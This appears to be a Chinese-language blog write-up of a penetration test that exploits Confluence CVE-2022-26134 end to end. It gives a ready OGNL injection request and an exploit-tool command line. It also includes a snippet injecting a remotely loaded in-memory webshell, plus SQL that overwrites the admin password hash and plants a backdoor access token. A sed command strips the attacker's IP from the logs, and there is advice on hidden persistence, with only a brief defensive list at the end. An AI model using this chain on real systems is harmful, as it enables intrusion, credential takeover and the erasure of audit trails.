从RCE到数据库接管:一次完整的Confluence CVE-2022-26134实战利用与权限维持记录
从RCE到数据库接管:Confluence CVE-2022-26134漏洞的深度利用与权限维持实战
那是一个典型的渗透测试项目,目标企业使用了Atlassian Confluence作为内部知识管理系统。在初步侦察阶段,我注意到他们的Confluence版本号显示为7.13.5——这立刻触发了我的警觉,因为我知道这个版本范围正受到CVE-2022-26134的影响。这个漏洞允许攻击者通过精心构造的OGNL表达式注入实现远程代码执行(RCE),而无需任何认证。
1. 漏洞原理与初始利用
CVE-2022-26134的核心在于Confluence服务器错误地将用户提供的URI参数解析为OGNL(Object-Graph Navigation Language)表达式。正常情况下,这些参数应该被当作简单的字符串处理,但由于框架的设计缺陷,攻击者可以注入恶意OGNL代码,最终导致任意Java代码执行。
关键利用步骤:
漏洞验证:首先发送一个简单的探测请求:
GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29%7D/ HTTP/1.1 Host: target-confluence:8090命令执行确认:当看到响应头中包含
X-Cmd-Response字段,且内容为confluence(默认运行用户)时,确认漏洞存在。自动化工具选择:虽然可以手动构造请求,但使用开源工具如
through_the_wire能提高效率:python3 confluenceRce.py --rhost 192.168.1.100 --rport 8090 --lhost 10.0.0.5 --protocol http:// --cmd "id"
注意:在实际渗透中,避免使用会产生大量日志的明显命令如
whoami或id,可以尝试更隐蔽的探测方式,如检查/proc/self/environ或特定文件存在性。
2. 突破Linux环境限制
成功执行命令只是第一步。在标准的Linux部署中,Confluence通常以低权限用户confluence运行,这带来了两个主要挑战:
- 文件写入限制:Web目录通常不可写,无法直接部署Webshell
- 权限提升困难:缺少sudo权限,难以直接提权
解决方案对比:
| 方法 | 优点 | 缺点 |
|---|---|---|
| 传统Webshell | 简单直观 | 需要可写目录,易被检测 |
| 内存马 | 无文件落地,隐蔽性高 | 需要特定框架知识 |
| 反向Shell | 交互性强 | 网络连接可能被防火墙拦截 |
我最终选择了无文件内存马方案,使用开源工具注入基于Filter的内存Webshell:
// 简化版内存马注入代码 String className = "evil.MemShell"; byte[] classBytes = // 从远程加载的恶意类字节码 new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()) .defineClass(className, classBytes, 0, classBytes.length);注入成功后,可以通过特定路径访问内存Webshell,完全绕过文件系统限制。这种技术的关键优势在于:
- 不修改任何磁盘文件
- 重启后失效(但可通过持久化机制重新注入)
- 传统杀毒软件难以检测
3. 数据库访问与凭证操纵
获得执行环境后,下一步是定位和访问Confluence的数据库。默认配置下,数据库连接信息存储在:
/var/atlassian/application-data/confluence/confluence.cfg.xml典型的PostgreSQL连接配置如下:
<property name="hibernate.connection.url">jdbc:postgresql://localhost:5432/confluence</property> <property name="hibernate.connection.username">confluenceuser</property> <property name="hibernate.connection.password">DB_PASSWORD</property>数据库操作关键表:
cwd_user:存储用户账号和加密后的密码AO_81F455_PERSONAL_TOKEN:个人访问令牌(PAT)bandana:存储会话令牌等敏感数据
两种持久化技术对比:
密码替换法:
UPDATE cwd_user SET credential = '{PKCS5S2}UokaJs5wj02LBUJ...' WHERE user_name = 'admin';优点:直接控制现有管理员账户
缺点:可能被定期密码审计发现个人访问令牌创建:
INSERT INTO "AO_81F455_PERSONAL_TOKEN" ("HASHED_TOKEN", "USER_NAME", "CREATED_DATE") VALUES ('{PKCS5S2}Deoq/psifhVO0VE8qhJ6...', 'admin', NOW());优点:更隐蔽,不影响正常密码
缺点:需要了解有效令牌格式
4. 痕迹清理与持久化策略
完成控制后,清除痕迹同样重要。Confluence的主要日志位置包括:
/var/atlassian/application-data/confluence/logs//opt/atlassian/confluence/logs/
自动化清理脚本示例:
# 删除包含攻击IP的访问日志 find /var/atlassian/application-data/confluence/logs/ -type f -name "*.log" \ -exec sed -i '/192.168.1.100/d' {} \; # 清理PostgreSQL日志 psql -U confluenceuser -d confluence -c \ "SELECT pg_rotate_logfile();"对于长期持久化,我推荐组合以下技术:
- 计划任务:通过内存马定期检查后门状态
- 数据库触发器:在特定表上设置触发器维持访问
- 合法插件:开发或修改一个Confluence插件作为持久化载体
防御检测建议:
- 监控异常的OGNL表达式解析
- 限制Confluence服务器的出站连接
- 对数据库操作进行审计
- 定期检查内存中的可疑Java类
这次实战展示了从漏洞利用到完全控制的全过程,其中最关键的教训是:即使是最成熟的企业软件,错误配置和未及时修补的漏洞也可能导致整个系统沦陷。对于防御方而言,多层防护和持续监控必不可少。
